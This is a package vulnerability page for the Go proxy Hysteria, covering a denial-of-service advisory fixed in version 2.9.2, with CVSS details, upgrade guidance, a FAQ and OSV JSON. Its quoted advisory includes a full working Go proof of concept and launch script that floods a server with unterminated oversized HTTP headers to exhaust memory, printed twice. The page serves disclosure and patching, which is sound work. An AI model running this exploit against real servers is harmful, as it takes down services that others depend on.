Vulnerabilities in pkg:golang/github.com/apernet/hysteria
PACKAGE
Advisory Summary
GHSA-jqc5-2p7q-fqfc is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Hysteria libraries in the Go ecosystem. The issue involves http large header with sniff cause server dos. Remediation is available by upgrading affected packages to version 2.9.2.
2
Known Advisory Record(s)
Package Vulnerability Intelligence
2 Known Advisory Record(s)
pkg:golang/github.com/apernet/hysteria
Vulnerability advisories affecting package pkg:golang/github.com/apernet/hysteria. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-jqc5-2p7q-fqfc | - | HIGH | Hysteria: http large header with sniff cause server DoS |
| GHSA-qh5x-rfwf-rvfv | - | HIGH | Hysteria vulnerable to server crash when max_datagram_frame_size very small |
GHSA-jqc5-2p7q-fqfc at a Glance
CVE Identifier
N/A
GHSA Identifier
GHSA-jqc5-2p7q-fqfc
Severity
HIGH
CVSS v3.1 Base Score
7.5
CWE Classification
CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product
Hysteria
Package Ecosystem
Go
Published Date
Last Updated
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
None (C:N)
Integrity
None (I:N)
Availability
High (A:H)
How to Fix GHSA-jqc5-2p7q-fqfc
To remediate this vulnerability, upgrade all affected Hysteria dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
github.com/apernet/hysteria
fixed: 2.9.2
Upgrade github.com/apernet/hysteria to 2.9.2
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/apernet/hysteriaHow to Check if You Are Affected
To determine whether your application is affected by GHSA-jqc5-2p7q-fqfc, inspect your project dependencies for Hysteria:
inspect dependencies for github.com/apernet/hysteriaAnalyze the terminal output to locate any version of Hysteria in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.9.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Hysteria, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
Sending an excessively large header by an attacker could lead to a server-side DoS attack.
### Details
The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors.
### PoC
server.yaml
```
listen: 127.0.0.1:8443
tls:
cert: poc_server.crt
key: poc_server.key
auth:
type: password
password: sniff-poc-password
sniff:
enable: true
timeout: 10s
rewriteDomain: false
tcpPorts: 80
masquerade:
type: string
string:
content: nope
statusCode: 404
```
poc.sh
```
#!/bin/bash
go build poc_sniff_http_dos.go
./poc_sniff_http_dos \
--server 127.0.0.1:8443 \
--auth sniff-poc-password \
--insecure \
--target-host 192.0.2.1 \
--target-port 80 \
--connections 16 \
--header-bytes 838860800 \
--linger 12
```
poc.go
```
//go:build poc
package main
import (
"crypto/sha256"
"crypto/x509"
"encoding/hex"
"errors"
"flag"
"fmt"
"net"
"strings"
"sync"
"time"
coreclient "github.com/apernet/hysteria/core/v2/client"
"github.com/apernet/hysteria/extras/v2/obfs"
)
type attackConnFactory struct {
obfuscator obfs.Obfuscator
}
func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) {
conn, err := net.ListenUDP("udp", nil)
if err != nil {
return nil, err
}
if f.obfuscator == nil {
return conn, nil
}
return obfs.WrapPacketConn(conn, f.obfuscator), nil
}
func buildHeaderPayload(totalBytes, chunkSize int) []byte {
prefix := []byte("GET / HTTP/1.1\r\nHost: victim\r\nUser-Agent: hy2-sniff-poc\r\n")
if totalBytes <= len(prefix) {
return prefix[:totalBytes]
}
out := make([]byte, 0, totalBytes)
out = append(out, prefix...)
linePayload := chunkSize - 32
if linePayload < 64 {
linePayload = 64
}
for i := 0; len(out) < totalBytes; i++ {
line := fmt.Sprintf("X-Fill-%06d: %s\r\n", i, strings.Repeat("A", linePayload))
remain := totalBytes - len(out)
if len(line) > remain {
line = line[:remain]
}
out = append(out, line...)
}
// 故意不追加最后一个空行 \r\n，迫使服务端在 sniff timeout 内持续读 header。
return out
}
func makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) {
serverAddr, err := net.ResolveUDPAddr("udp", server)
if err != nil {
return nil, err
}
cfg := &coreclient.Config{
ConnFactory: &attackConnFactory{},
ServerAddr: serverAddr,
Auth: auth,
TLSConfig: coreclient.TLSConfig{
InsecureSkipVerify: insecure,
},
}
host, _, err := net.SplitHostPort(server)
if err == nil && sni == "" && net.ParseIP(host) == nil {
cfg.TLSConfig.ServerName = host
}
if sni != "" {
cfg.TLSConfig.ServerName = sni
}
if pinSHA256 != "" {
nHash := strings.ToLower(strings.ReplaceAll(pinSHA256, ":", ""))
cfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
if len(rawCerts) == 0 {
return errors.New("no peer certificate")
}
h := sha256.Sum256(rawCerts[0])
if hex.EncodeToString(h[:]) == nHash {
return nil
}
return errors.New("no certificate matches the pinned hash")
}
}
if salamanderPSK != "" {
ob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK))
if err != nil {
return nil, err
}
cfg.ConnFactory = &attackConnFactory{obfuscator: ob}
}
c, _, err := coreclient.NewClient(cfg)
return c, err
}
func worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) {
conn, err := c.TCP(target)
if err != nil {
results[id] = fmt.Sprintf("worker=%d dial error=%v", id, err)
return
}
defer conn.Close()
_ = conn.SetWriteDeadline(time.Now().Add(linger))
sent := 0
for sent < len(payload) {
end := sent + sendChunk
if end > len(payload) {
end = len(payload)
}
n, err := conn.Write(payload[sent:end])
if err != nil {
results[id] = fmt.Sprintf("worker=%d partial_sent=%d error=%v", id, sent, err)
return
}
sent += n
}
time.Sleep(linger)
results[id] = fmt.Sprintf("worker=%d sent=%d", id, sent)
}
func main() {
server := flag.String("server", "", "Hysteria server address, e.g. 1.2.3.4:443")
auth := flag.String("auth", "", "Hysteria auth string/password")
sni := flag.String("sni", "", "optional TLS SNI")
insecure := flag.Bool("insecure", false, "skip TLS verification")
pinSHA256 := flag.String("pin-sha256", "", "optional pinned server cert SHA256")
salamanderPSK := flag.String("obfs-salamander-password", "", "optional salamander obfs password")
targetHost := flag.String("target-host", "192.0.2.1", "must usually be an IP so sniff.Check() runs when rewriteDomain=false")
targetPort := flag.Int("target-port", 80, "target port that should be covered by server sniff.tcpPorts")
connections := flag.Int("connections", 16, "number of concurrent Hysteria TCP streams")
headerBytes := flag.Int("header-bytes", 8*1024*1024, "bytes of incomplete HTTP header per stream")
buildChunk := flag.Int("build-chunk", 8192, "approximate size of generated filler header lines")
sendChunk := flag.Int("send-chunk", 64*1024, "bytes written per conn.Write call")
lingerSec := flag.Float64("linger", 12, "seconds to keep each stream open after writing")
flag.Parse()
if *server == "" || *auth == "" {
panic("--server and --auth are required")
}
if !*insecure && *pinSHA256 == "" {
panic("provide one of: --insecure / --pin-sha256")
}
payload := buildHeaderPayload(*headerBytes, *buildChunk)
target := net.JoinHostPort(*targetHost, fmt.Sprintf("%d", *targetPort))
linger := time.Duration(*lingerSec * float64(time.Second))
fmt.Printf("[*] server=%s target=%s streams=%d payload=%d\n", *server, target, *connections, len(payload))
c, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK)
if err != nil {
panic(err)
}
defer c.Close()
results := make([]string, *connections)
var wg sync.WaitGroup
start := time.Now()
for i := 0; i < *connections; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
worker(i, c, target, payload, *sendChunk, linger, results)
}(i)
}
wg.Wait()
fmt.Printf("[*] elapsed=%s\n", time.Since(start).Round(time.Millisecond))
for _, line := range results {
fmt.Printf(" %s\n", line)
}
fmt.Println("[+] sent incomplete oversized HTTP headers; check server-side memory / stability")
}
```
### Impact
Testing showed that the server side used a maximum of 16GB.
Server memory DoS and may cause OOM.
GHSA-jqc5-2p7q-fqfc Affected Hysteria Versions
1 component(s)
Fixed Versions:
2.9.2
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/apernet/hysteria
|
Go |
< 2.9.2
|
2.9.2
|
References
Frequently Asked Questions
What is GHSA-jqc5-2p7q-fqfc?
GHSA-jqc5-2p7q-fqfc is a security vulnerability in Hysteria involving http large header with sniff cause server DoS under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Hysteria versions are affected?
Affected versions include releases prior to 2.9.2 across affected packages: github.com/apernet/hysteria.
What version fixes GHSA-jqc5-2p7q-fqfc?
Upgrading to 2.9.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/apernet/hysteria affected?
Yes, github.com/apernet/hysteria is affected in releases prior to 2.9.2. Upgrade your dependency to 2.9.2 or later.
What is the CVSS score of GHSA-jqc5-2p7q-fqfc?
GHSA-jqc5-2p7q-fqfc has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-jqc5-2p7q-fqfc?
GHSA-jqc5-2p7q-fqfc is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for GHSA-jqc5-2p7q-fqfc?
Run the dependency tree command: 'inspect dependencies for github.com/apernet/hysteria'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-jqc5-2p7q-fqfc",
"modified" : "2026-06-26T20:19:01Z",
"published" : "2026-06-26T20:19:01Z",
"aliases" : [ ],
"summary" : "Hysteria: http large header with sniff cause server DoS",
"details" : "### Summary\n\nSending an excessively large header by an attacker could lead to a server-side DoS attack.\n\n### Details\nThe current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \\r\\n\\r\\n, leading to ServerDoS and OutOfMemory errors.\n\n### PoC\n\nserver.yaml\n```\nlisten: 127.0.0.1:8443\n\ntls:\n cert: poc_server.crt\n key: poc_server.key\n\nauth:\n type: password\n password: sniff-poc-password\n\nsniff:\n enable: true\n timeout: 10s\n rewriteDomain: false\n tcpPorts: 80\n\nmasquerade:\n type: string\n string:\n content: nope\n statusCode: 404\n```\n\npoc.sh\n```\n#!/bin/bash\ngo build poc_sniff_http_dos.go\n./poc_sniff_http_dos \\\n --server 127.0.0.1:8443 \\\n --auth sniff-poc-password \\\n --insecure \\\n --target-host 192.0.2.1 \\\n --target-port 80 \\\n --connections 16 \\\n --header-bytes 838860800 \\\n --linger 12\n```\n\npoc.go\n```\n//go:build poc\n\npackage main\n\nimport (\n\t\"crypto/sha256\"\n\t\"crypto/x509\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"flag\"\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\tcoreclient \"github.com/apernet/hysteria/core/v2/client\"\n\t\"github.com/apernet/hysteria/extras/v2/obfs\"\n)\n\ntype attackConnFactory struct {\n\tobfuscator obfs.Obfuscator\n}\n\nfunc (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) {\n\tconn, err := net.ListenUDP(\"udp\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif f.obfuscator == nil {\n\t\treturn conn, nil\n\t}\n\treturn obfs.WrapPacketConn(conn, f.obfuscator), nil\n}\n\nfunc buildHeaderPayload(totalBytes, chunkSize int) []byte {\n\tprefix := []byte(\"GET / HTTP/1.1\\r\\nHost: victim\\r\\nUser-Agent: hy2-sniff-poc\\r\\n\")\n\tif totalBytes <= len(prefix) {\n\t\treturn prefix[:totalBytes]\n\t}\n\tout := make([]byte, 0, totalBytes)\n\tout = append(out, prefix...)\n\tlinePayload := chunkSize - 32\n\tif linePayload < 64 {\n\t\tlinePayload = 64\n\t}\n\tfor i := 0; len(out) < totalBytes; i++ {\n\t\tline := fmt.Sprintf(\"X-Fill-%06d: %s\\r\\n\", i, strings.Repeat(\"A\", linePayload))\n\t\tremain := totalBytes - len(out)\n\t\tif len(line) > remain {\n\t\t\tline = line[:remain]\n\t\t}\n\t\tout = append(out, line...)\n\t}\n\t// 故意不追加最后一个空行 \\r\\n，迫使服务端在 sniff timeout 内持续读 header。\n\treturn out\n}\n\nfunc makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) {\n\tserverAddr, err := net.ResolveUDPAddr(\"udp\", server)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcfg := &coreclient.Config{\n\t\tConnFactory: &attackConnFactory{},\n\t\tServerAddr: serverAddr,\n\t\tAuth: auth,\n\t\tTLSConfig: coreclient.TLSConfig{\n\t\t\tInsecureSkipVerify: insecure,\n\t\t},\n\t}\n\thost, _, err := net.SplitHostPort(server)\n\tif err == nil && sni == \"\" && net.ParseIP(host) == nil {\n\t\tcfg.TLSConfig.ServerName = host\n\t}\n\tif sni != \"\" {\n\t\tcfg.TLSConfig.ServerName = sni\n\t}\n\tif pinSHA256 != \"\" {\n\t\tnHash := strings.ToLower(strings.ReplaceAll(pinSHA256, \":\", \"\"))\n\t\tcfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {\n\t\t\tif len(rawCerts) == 0 {\n\t\t\t\treturn errors.New(\"no peer certificate\")\n\t\t\t}\n\t\t\th := sha256.Sum256(rawCerts[0])\n\t\t\tif hex.EncodeToString(h[:]) == nHash {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn errors.New(\"no certificate matches the pinned hash\")\n\t\t}\n\t}\n\tif salamanderPSK != \"\" {\n\t\tob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcfg.ConnFactory = &attackConnFactory{obfuscator: ob}\n\t}\n\tc, _, err := coreclient.NewClient(cfg)\n\treturn c, err\n}\n\nfunc worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) {\n\tconn, err := c.TCP(target)\n\tif err != nil {\n\t\tresults[id] = fmt.Sprintf(\"worker=%d dial error=%v\", id, err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\t_ = conn.SetWriteDeadline(time.Now().Add(linger))\n\tsent := 0\n\tfor sent < len(payload) {\n\t\tend := sent + sendChunk\n\t\tif end > len(payload) {\n\t\t\tend = len(payload)\n\t\t}\n\t\tn, err := conn.Write(payload[sent:end])\n\t\tif err != nil {\n\t\t\tresults[id] = fmt.Sprintf(\"worker=%d partial_sent=%d error=%v\", id, sent, err)\n\t\t\treturn\n\t\t}\n\t\tsent += n\n\t}\n\ttime.Sleep(linger)\n\tresults[id] = fmt.Sprintf(\"worker=%d sent=%d\", id, sent)\n}\n\nfunc main() {\n\tserver := flag.String(\"server\", \"\", \"Hysteria server address, e.g. 1.2.3.4:443\")\n\tauth := flag.String(\"auth\", \"\", \"Hysteria auth string/password\")\n\tsni := flag.String(\"sni\", \"\", \"optional TLS SNI\")\n\tinsecure := flag.Bool(\"insecure\", false, \"skip TLS verification\")\n\tpinSHA256 := flag.String(\"pin-sha256\", \"\", \"optional pinned server cert SHA256\")\n\tsalamanderPSK := flag.String(\"obfs-salamander-password\", \"\", \"optional salamander obfs password\")\n\ttargetHost := flag.String(\"target-host\", \"192.0.2.1\", \"must usually be an IP so sniff.Check() runs when rewriteDomain=false\")\n\ttargetPort := flag.Int(\"target-port\", 80, \"target port that should be covered by server sniff.tcpPorts\")\n\tconnections := flag.Int(\"connections\", 16, \"number of concurrent Hysteria TCP streams\")\n\theaderBytes := flag.Int(\"header-bytes\", 8*1024*1024, \"bytes of incomplete HTTP header per stream\")\n\tbuildChunk := flag.Int(\"build-chunk\", 8192, \"approximate size of generated filler header lines\")\n\tsendChunk := flag.Int(\"send-chunk\", 64*1024, \"bytes written per conn.Write call\")\n\tlingerSec := flag.Float64(\"linger\", 12, \"seconds to keep each stream open after writing\")\n\tflag.Parse()\n\n\tif *server == \"\" || *auth == \"\" {\n\t\tpanic(\"--server and --auth are required\")\n\t}\n\tif !*insecure && *pinSHA256 == \"\" {\n\t\tpanic(\"provide one of: --insecure / --pin-sha256\")\n\t}\n\n\tpayload := buildHeaderPayload(*headerBytes, *buildChunk)\n\ttarget := net.JoinHostPort(*targetHost, fmt.Sprintf(\"%d\", *targetPort))\n\tlinger := time.Duration(*lingerSec * float64(time.Second))\n\n\tfmt.Printf(\"[*] server=%s target=%s streams=%d payload=%d\\n\", *server, target, *connections, len(payload))\n\n\tc, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer c.Close()\n\n\tresults := make([]string, *connections)\n\tvar wg sync.WaitGroup\n\tstart := time.Now()\n\tfor i := 0; i < *connections; i++ {\n\t\twg.Add(1)\n\t\tgo func(i int) {\n\t\t\tdefer wg.Done()\n\t\t\tworker(i, c, target, payload, *sendChunk, linger, results)\n\t\t}(i)\n\t}\n\n\twg.Wait()\n\tfmt.Printf(\"[*] elapsed=%s\\n\", time.Since(start).Round(time.Millisecond))\n\tfor _, line := range results {\n\t\tfmt.Printf(\" %s\\n\", line)\n\t}\n\tfmt.Println(\"[+] sent incomplete oversized HTTP headers; check server-side memory / stability\")\n}\n\n```\n### Impact\n\nTesting showed that the server side used a maximum of 16GB.\n\nServer memory DoS and may cause OOM.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/apernet/hysteria"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.9.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/apernet/hysteria/security/advisories/GHSA-jqc5-2p7q-fqfc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apernet/hysteria"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-26T20:19:01Z",
"nvd_published_at" : null
}
}